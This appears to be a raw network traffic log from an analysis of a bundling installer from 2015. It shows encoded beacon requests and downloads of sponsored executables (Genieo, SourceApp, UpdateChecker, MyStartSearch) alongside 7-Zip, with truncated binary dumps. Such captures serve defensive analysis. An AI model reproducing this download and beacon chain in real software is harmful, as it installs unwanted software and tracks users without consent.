X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:17 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=XOxRKBm2zlxPNjxRBLtb45w0P6lVvKYPt8f6YpiR28K/M iZRiJnRhtT6IeDjCpqD5OatmcvVLieXHN8cCnmNxJCi6Kflc7uWLazpewXw1jbYKYy91 zfZ5dcTig2boV6xool1mM9zb4KwdVWYfAjLGJ7NLKRj9n2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gc4WlksRGMMpgBCRaX4ol5yPWYSNtYw8BllabK/bD0 XQDPSb7U aSko3Gv nP8wmYBlKlGJcuDg HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:17 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=/k6kR j50tpPNjxRBLtb45w0P6lVvKYPt8f6YpiR28K/M iZRiJnRhtT6IeDjCpqD5OatmcvVLieXHN8cCnmNxJCi6Kflc7uWLazpewXw1gnbzUS3m/7WLONeuBglAqxaHHlbCgpQ5v1r/ZKpWQiXoklGVmqeZFU8n8JlmuEfM7iLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvDlvHUGzrBffNVzLLcxFjdBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpqN65rjmRD/rVGG/Xal99ijhKIPjTcuiw= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:17 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=bNFVvuIwcz6f05G2dnM6gNg4XIU0EHZNqLyqyeqrbnpSxKnyZZfBI2bktPzt6Fdq2Mmy0imF8H5kTJzJ6ARN /VXnfpRoYFmqUVvKp9Lg9WpU9MRQHad4Zw4LO6ub5l5rBjqlmzKnb11WfmaK7dF89zNhnv/igXYxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj4 rN8lepfONd12UpBdUn7wL2QaodClWR0Uyn64LWcrRdOO7UF2g6rUmTADg95nKug8SfsOq8sVv HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:18 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=yhrBLBbZM9XpxK87b oDM5/TkbZ2czqA2DhchTQQdk2ovKrJ6qtuelLEqfJll8EjZuS0/O3oV2rYybLSKYXwfmRMnMnoBE379Ved lGhgWaAkcN/ 7vGRLvfUXjXVQdWHpGgnXRNTSyM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXw8DDkunVjjbzAkEAy/2oHPNwxpk9by 5jiKra/4j9z4UTNRNADgQO9P9wsn1RiJIwB5esNx9efU= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:18 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 20
15 00:02:18 GMT..Content-Length: 0..

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.RegWrite HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Tue, 24 Feb 2015 00:04:20 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.83 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Tue, 24 Feb 201
5 00:04:20 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encod
ing: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-
version: v4..48..{"stats":"ok","time":"1.83 ms","message":"store 1 act
ion and 0 update "}..0..

GET /sd?is=sm HTTP/1.1

Range: bytes=218682-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 00:02:16 GMT

Date: Tue, 24 Feb 2015 00:02:16 GMT

Content-Range: bytes 218682-583151/583152

Content-Length: 364470

Connection: keep-alive
.....p.$o.=m%.\._...........S...%.1/Q..c.....(..\a...N..~.?..u..).\..*
..C.?...LrC~...A...e..Y..wg<..........*..H..:RSnl.. .&.;....S..P.Iw
.B....0..[.....3..T.O......#.{.......5.....h....l.>7.C...1U..e`.{.Y
...U...1%.2B...i..A.R.47JQ.J..`.n...X...hN..c..x.1...Dn.#........k.D..
..Nn....a....E...e.X.>.`&.1@.^xU.5.....<..p.V..]..R ..H#..A.p..p
...~....)...N~./[email protected](.....*.2....>...=.m....C.....jmpG.......l..
. ..R..a.3....m$xnw..-kU...'}a..Q?.O..."..(U..0..W..... /...W?.7o..3]A
.G...E7....UBT.H.. Jc0E.....>v.7=.6..3.].=3'.C}...N..-...V xK...L.Z
.{..o.....Q^....'....~...\e.....&.....WC..xQgeX...W.Xk....0....f..{..g
....2....O....40 ......?.".........-....5*a.#...U~..I..MH`.....M.....G
..Q.M.....~.P......Z.@sX>@..T.&...../....m}.p._..~..&..11..^.t7Fl.@
D.nu.O...'..K.g.j]zi.....8.5S."8R....\.H.MO{..>.Yt.-....[@......lBI
.Q...........7....TX^.....0.5.s.'..C.......9...P.....[.f...O.G....b.D.
..l......`.........c.."<...'.....X....,........q............).../.P
.Pt3.T.p.A....ZY...`(.....;,.h%...j.,.J..#u |2..n.w.hx,X..z.K{..zY....
UG.{......*..v.N.g..A....|.u..0.).'..qF.K..\..~.a....M.s;..Q..wY%..<
;.........39s.KWI5..-..=L..M.MW .Wq.*[email protected].<...5
.K...Hi..H.d ..k...S.........<.....\..3..q!...8c......o.x...v....W.
.....&....q.w.>..<.Dz..\.....>[email protected][.... i...
o...g..}...eg.._...N.....n>..V3...H|..r....k...BvH..g..\[email protected]..'
m...e........:.".5...wU.|.....bJ"/[email protected].*...uH.x&o.....>.
...E..?.b.!...Y B......Z...-,...8)...... .$5.6.P.3S.S..r..3m.W..4@<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=428401b2724ce34c9657f205e14d247c&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=73a4128c495a26c35337a5d3065bd25c&tokyo_csrf2_timestamp=1424736134&slot_number=4&index_in_screen=1&index_in_session=4&display_height=75&0.38841614464711355 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip23678/7zip/428401b2724ce34c9657f205e14d247c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.1232722804.1424736155.1424736155.1424736155.1; __utmb=1.1.10.1424736155; __utmc=1; __utmz=1.1424736155.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:03:45 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 00:03:45 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=247102-494204

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: YrSW4Q4SuqFwurNtSP8gq50LxhgBYq8wU/ 1nt KJvWSHtRBOZWJJO7tUb 131qaoKakq53qYDs=

x-amz-request-id: 4019DE003728A0E9

Date: Tue, 24 Feb 2015 00:04:26 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 247102-494204/988408

Content-Type: application/octet-stream

Content-Length: 247103

Server: AmazonS3
-s...R.... .e.>7........... )..51.n4..@..)....ck.../.01-. Z?L....k.
...O..<2Ma....7..r.2....j....O.".A......dK..&G..Hj6.(.P....ZxVA.>
;...Sr.l:.86....6bq.....>.d-p~R{..jI.L..M. .8O....q..[..J4...T..l..
...m.......)e.C..A....I,cPy2|.."-...".M.O..v...=Q......|.......'..Z..I
}....Dw.....f.i...m.~.o..H'.j.....&.agE.`._`.>...[.:O...^4......3..
.7.{[email protected]...<......BY..4C.}..Qf.'(.....rRf?...q.=|....|....
[........E..Gu...oD2 ...E/....2$..k......o......E.. h.....s7..ouq...N.
.".o.....L.....%.8-...zG.._.|.B{.e(w.iy.....ALA.}.,.cf1%ZE-.U.....oa.F
.~|o.":,.N.s...N.^x....GT..(.!..oy'.N..?.L....7...)..f1nS.P.6....._v..
....._)S......`....qe0.d.DI............sq..su...{j..Y..'...;..6.{..@..
Os3p4T8.z...8....L.Q.F...H../...b...(..k._..z.a...f...0......}.......P
.|-.3.g...<.,w=P.tk_$..p..\,...K..*..........S.....l&..^C.q.J...OD.
..$..T..x...`........:Ea#"...fv....p.u.YWE.........m..E...CV....=sR...
=W.DC..jQ..o.74;9 .5y^.H&f.3..|X.......w. ..^./E...X..lC.|.hR.. ...._J
r..v...E..X~.D.Q.......5.>...A..v ...a~=..F ..{a"....yj F..].n.....
.=1H<.Z...n}.1.;.!7U3..........G..N...T......A.........m .....PcC\C
ek.w.........J.a....{*.>.u..]9.....2K.}.G@........$-H....=9....f&f.
.6l...M...u ..k.N).O..8J.~........i ..`5.........r..g`..../...E.....R.
..P......l$r.GTJ...\...v9..Y.D.!&e..aq...)%.'.[.....Pgx..../.PQ..yv..D
...#...m.|P!.l..s.$.q&=..d6T.jQ...]d....7c ...ll.s...X..`T.(Da.P..b..!
....A>..n."..H.....Rrc...C.T..J]Jx\*.....l...q2..q...R......?9..4l.
....F..3`{..x.`..d^.g............C..t.G.'xdA>y...m....m~..."..~<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=437364-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 00:01:04 GMT

Date: Tue, 24 Feb 2015 00:01:04 GMT

Content-Range: bytes 437364-583151/583152

Content-Length: 145788

Connection: keep-alive
....s.....E:y..I...OXz.E..r....L....5..`....#.*Y.'-.U....>....*ks..
d...#.@..%p....oG..._...<.....M..#...............{......q7...,.bOd.
........s..8..<..C...e.........q..^1...dR#M..3.=.....j;R... ...)...
.%.-..B..6.X.......5U./.P....R}.'..l..C.,N...$.......Gj.v~ .v;...uD.G.
2.-L....R.[4..P .!Eg..J......j(.q...gEu.?J.T.=.(.2..GC.!...O.....T...1
...5'.^.).O.....:.."...tZ.s..........~e@..........%....F...."nyw%l.4..
.O.o{....Pe..d...Y...m.E.......Y..!...g..K...znz....5....l.-s.......6O
Nw......,.23.`..zP$cM..n",^./L%p./....W.hol..p)..(.'..B4.F.."...'.Bp..
..OB.V......\......_..o.`.. ........*ZGA..2K........Y.s5P.aGD.._,.. ..
..G...a/[.k..j.L.........*i".Q5;..&..D..f.gh\......c....>...|..c.K.
.h....4 .U.....7~....l......BQ<......d_.&...!......nEC..S..^.Sp...m
........ _'_......3.><[email protected].......^.~....v.u.#4..3
J...rrh...w......S.....J<.l...fDu........p.3.""(1.M.:. ..t\2.{p.=.*
/c...juSR.q.]....d...r.{[email protected].;.h....=.Xx.
.Z..$.5....3v..v..!..~W.c.G....)yL.^.....w.2...`....;\....H.}z{.....O 
..B..!4:.%.b;.A..T$6..{.D..kq(.M.c'3O..M.n.....s.8.z...o...N.p...h....
oj....A..Y.\......<....{.....E..........S.....QR.~.D.ye&:.`........
...W.."].........?g...nb...S fk.p7...Zr-Y..#H1._&..c.....#3.vS.......=
...$.E......A ..Q.......I[...oCSV....Y. -..O....J.......mOT...]i....A.
./..ZqJ.u.).F..mF$@#..w87...S`..OV..........n.VrD...d7.....4..n(Z).zD.
...<..P...6..[.....7.P..|./..h.......[|.8..*.0...k......djY...7....
..o&/....n/.d.........Gw.QtikjM"..x...g.&....~{k.Wb...!.M.N.N._.=%<<< skipped >>>

GET /sponsored/mystartsearch/eula-mystartsearch.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://installer.filebulldog.com/awde7zip23678/7zip/428401b2724ce34c9657f205e14d247c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d3lspqs37tt24s.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 22 Feb 2015 04:57:00 GMT

Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT

Expires: Sun, 22 Feb 2015 05:07:00 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

X-Cache: RefreshHit from cloudfront

Via: 1.1 8ba00e7b6e8959a64c4f6f61fd5596de.cloudfront.net (CloudFront)

X-Amz-Cf-Id: zx0ThpUPeodq8ECW8LA9Wdp4gOaIrOxgqYSfn3D-6Z2HvtItonyj3Q==
1b75.............\...Gv.-?E-.Xq...$...>f!.....V$y...,..".V.......0.
.H....5.(~..s...j..d..G..3lvWW.....{k....7Wo........{.../._......O....
.y....o.z..O..7MV.EW.UV^\|....V].yxq.....O.u..x....c.....y.<9..|t..
cy.....''....g...r..r.h.M..\...'...t..g..^..".2..2.j..z......b.'....U^
..K....7..k.j.~...]l.9.v../..s....=......E.-.?....!.....O.T..<.w?.}
...7.y.vYY.f...p...'.....2................,..^......_g.k...`.... ...f3
....w.z?.5.......?.........?.xJ....?....z.Q(.U.... P>..qyq..Ct.....
g.....o^...W......|.a.w...W. ...........n_.. ../............`Iy=..1,w.
........l.u.........{...&eQ}H..7>..=;..............4.v~<j|9..ZN.
..zI...Z9.8..y.~.f..h....r..l..U~.*.|.W..&3..-......u..w.ww'..[t...X..
....._..]~....k.en...H..h.-....x...#.Y.._...../.yg^.u......{.K..Y..CwO
>.VE.........f..r}QW.y[.........-.uQ........M..w?....y%E.^i....y.)`
...h.....5.._p...7..w..V...72.}-3...H...~.=t.....;z..H...]...h.?..?Abp
.....f.....U]...[<...o..........:8..M..........\....vUo..k.J....[.K
..nQ.e.._.S..:<.....6...............u.zS....Y..x.*.....;......B<
}.E6Y...t..2..&..jB.G..e}....g.,..5.~.t......3.4....x....8..u1.".M\..M
Qf3.3V..w....W":.j.8..6n.B:..`..v...#x..Icb..9.-:.H..u^,....*g......9.
..0...(.V[F.G.Wo|.......h.6uY..3......_M...b....'.B.4.u6......m...S.Lw
.......M4k.......m9.....U.......[../[email protected]....:.s.....Y...g...%..D.
I....B..k.......U.G.Lxo%.....$.N.......%.W38..0P.d[..B.....E..x...V.o6
[email protected].*6....;/.b..
;..3.04M.Z..........j..<F.F.t(..G.=.....UU.4uO.}..b..5.b ...&u]<<< skipped >>>

GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 200072

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:42:08 GMT

x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH

x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537

Cache-Control: max-age=3600

Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT

ETag: "ef7d1863f4980ab0c8bda142fee67f92"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-200071/200072

Age: 283

X-Cache: Hit from cloudfront

Via: 1.1 f96185b1d69d6f85635bc2b5554da639.cloudfront.net (CloudFront)

X-Amz-Cf-Id: NHAyFy4u2ZnvkMwYuPNbfaA45jx-_qoJt9ZMg6vRYq1k_WnvrWQwmw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
...........................{........................................s.
[email protected]............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=277620-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:02:19 GMT

Content-Type: application/octet-stream

Content-Length: 832856

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 277620-1110475/1110476
../cXh~.Q....mj..Yt..>...(.e....(...kiq...lSR>...?... .N?.[c6...
C.(.pA.,.*..F...Y.Ij.j..p.%.r..e..h&...{-.....R^...`9.1PO6\8..>....
..Q"Rg.Z......Too...?.<....J..=,.q...}y.=.T..*W...C9..].........^e.
"T..`.&F..M...^-6Wz_:..YW.B.......'......O;,k..".gGP..<$-..1 .;.s|X
....-....%,....@.]AU.. ..\ko... .w~g..1K.......;A..|.r..%.............
.......... .)..2....e..<.J.i."....c..oZ...TE..j...........H..,8W.c.
.ST.zz.M.;-Pk5z...y..r.W~.;(F7,........w5...Ef...9Eo..[.Q...\.....9..f
6...j.mq*pRc..Z*.R..IW...j4Y.D ...T...Sn_.0.tY[/g./]ehAw..@<W......
0QO\Cj(.C.-.......*..5|.-.0..$.V..pX...T........HA.....}..........}.;.
 ....LPV.X..0W..H.........z..F(.o.:........Fd.'C..= . ..e.....%Z.t....
t.Bz.?...s.....L...ds....[....dr.....E(.z)vD17...d...m... ..........ms
..g...8V._x.X..D..g.WQ&....$...}o.Q5u..#6.. .`.......~..%.ir.W....zoYI
1b.......t`.2t.U.~5....t.......jd..rv.O..........s.o.}....A....9..o%..
.j.....R.LQ[.9qY1d?..?n.F.........*F}.b-.P`....y.6.=n...Kge}onq..u%.O|
.X>..."]..%H.;[email protected].. ........^...*.--....^n3.....2A.....
..,..Wg./.........p>....ci.........w..2.g...6^:.`..b... .'r........
........D....RH..[.`i..1*.rs....O..BG5...)nU..tX...r..CZ..V=)@.4r..)v:
./M$..5...'4....Bey.0Y..*..#7...q.../.#N.@....__......<85d$.z.%G...
(....-.d...I.........g....S:..&...2.....t..........h.c.......ty.G. .T.
k.>R....C...S.K.S.....,3LZe......a..#&SH.Q.R......4P......0}IC.h)N.
7..G....G1..........<..!.....=.I......S...tE.d.d.Y.......qf@I=nB...
.....V...'...z.]y./.......ng..VY...y.|......2.J..'.^.z....W..d....<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=291576-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 00:02:16 GMT

Date: Tue, 24 Feb 2015 00:02:16 GMT

Content-Range: bytes 291576-583151/583152

Content-Length: 291576

Connection: keep-alive
G.Z.....H.<.C...t......\f. .8...*.wd........Qp.aX.f..C.....WE.3h...
.).$....A........yrD.1.f..]...J...E<..1..L.1.{..j.f.=....fM.F.....z
...D...g.....u.6.I'.U...[..7......Y..:n...^...A....w../9.....U.....?.'
......xO62.P.qw&.(....uBa...Y@;......:.II.]..m.....%..<.D..v.).i<
;:..J....J.;..<...X.)p...::I_U.........8..5..Y"..L<36..c}t..;...
.j.....?....@.`.......I|.L5....q}..3...ll=...bdI5..[?.....}.EeL..R....
5"...(......../.....W..~..].@.. [email protected]%.Y...r]a.b..
.....)G..n[T...}O....y1.j..!.c)..4.08.....u...9.8..H...D..k...r.....Ia
PJ"..].Pm..K.>.V1vp9y.....=..bp.:.g..F..C.0.eB./..nxD.N..'.4.......
'3.1..m..0..=.^..._...S...M...i.t..yq....|....T.....&v.e.........D....
Z.7...T.......I...$.....A ..er....o...C..Y...A.F]hy!..q.........#....@
$D.$L<...Uy..|;?*..&.4.....!..v.'E.l....(.....z.~..Ae.|..D......@..
[email protected]....\<1.|.*...m>....o#.@..
&1...E...z....v.m.?....2..:.X....N..J...l..#`d.^[.oj.1.........x..n.O|
.vfU. ..R.....x..Yg.._..u...G. ...N[[email protected].,...g.=
}4n......aH...a.....`..v.......'@...<R.L......."J(..##..nV'..f../V.
..w!..'%..(b.`......e.h....x=9&......M..X-_T...c.8..]'.F...........M..
...m.G.........s..X...|.......;......2..B..AAu4..Wu..B...lf..........B
Uw.C...^J...(F.1;.s..f3.............m,...<.. .N.9..3$..C..=...a..z.
....G..?..i-.2.....hD..?....^?..B........~.....>]........G0...F....
'][email protected].......)..W.r.=.ò....l.r.z..........
7..e. \$D.......t.......[.Z..N2.......%[email protected]...<....C...c...o<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=694049-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:04:28 GMT

Content-Type: application/octet-stream

Content-Length: 416427

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 694049-1110475/1110476
...^...y..R.?...tN.ts...&..'^....]I...K.uQ......A#......t.3.....).2..8
'...Q .k.1.f....8P........U^.%.i..Jz...R]A.......X..>oqIi...v.\..!.
.pk.r....B.......)b..>..KR..3zO.f......D..M9.&...>O....W3.(..!.7
%*[email protected](o.-..$.31..V......p.6............. r..5.jf4.yrF.O....
w....}8..............L......'(..'..../ .-[9..#.........n`Z..A...<..
I.8)'.QnB.`M..^V.gVt0&.EI..8.?sM.|.p....K.......J.......q..c.'.7\(!7..
d.;4y....F......g.v.._.9....LC?..........f..>.........).-*....{%&..
B.8..0P.....!.D.,..l&...2.y.O.|R).......{4.!K..`k...2..c.3.....!.T....
....r..5`...............c./.66.JGvN../.).u.....d.q...5.V.%..q5>...r
.....\...\V:..%.B-.]....~.X.C..HQ.{[.....i".('...`.......@.,.m....zeG.
Fa(],.Kt .LdS..g.4.3v.tDu`.....gQ.np0........~...........J....\.....RZ
.3......\..?. .....h.......?.H].9.G.g......x..4j. ..Z..?....xa..I.....
..?...ai.4...2.g.f v......g.\..aeWIN...0.F .......u......e\.>...~..
.....<y.W2......^Io.y3...v.2.rO..X..A.*.z7.w......cOv...B.!>m..:
Jj...^G. .u..]..ykV.~...................6.....YL.._o ..<.:.w../.9Z.
U......A!..]GZA..9.8.jU..L..GW.=.....p...G....8..3..KC...oH..ZP....A2U
..<.b/*35K..D.....#........n.53H...c..&ei..=P.NUY..%^#y.h3.........
.....qfX..;F..JE.1d....v#..fh%...R..o!....K.A...........W.."s!....#...
.a.N$S....0..1_......)z.J\......Q.....J.*`.MPYt.....Qb.?re&v..c..X'...
.y..?........d....].]O........=(...&.X=n'.5..)....q.*.....9S..\.c.{..8
...k.....*T...g..>Y"9...m.........J.E"H.: iZ...$..g)..`.d..........
.....O[.OJk.G..{.9......y.....}...........#...b.G...-c..._F...._..<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:01:05 GMT

Content-Type: application/octet-stream

Content-Length: 1110476

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 0-1110475/1110476
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
[email protected]].......V..G..........WV.%B..j......S
[email protected]#.E.;.v%8.t!V..G..;.t...,P.u...D.....E.....
..9][email protected]@.....o........j.
.....PV.=A...r...j1........E....V.u..E..w?..V.p.@...t.V..D....h..B.V..
C..P..>..P..D..V.JF...p.@..}..|1V..F..3.;.t..M....QP..`[email protected].<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 00:01:03 GMT

Date: Tue, 24 Feb 2015 00:01:03 GMT

Content-Range: bytes 0-583151/583152

Content-Length: 583152

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
........................O........................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
[email protected]...`...p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

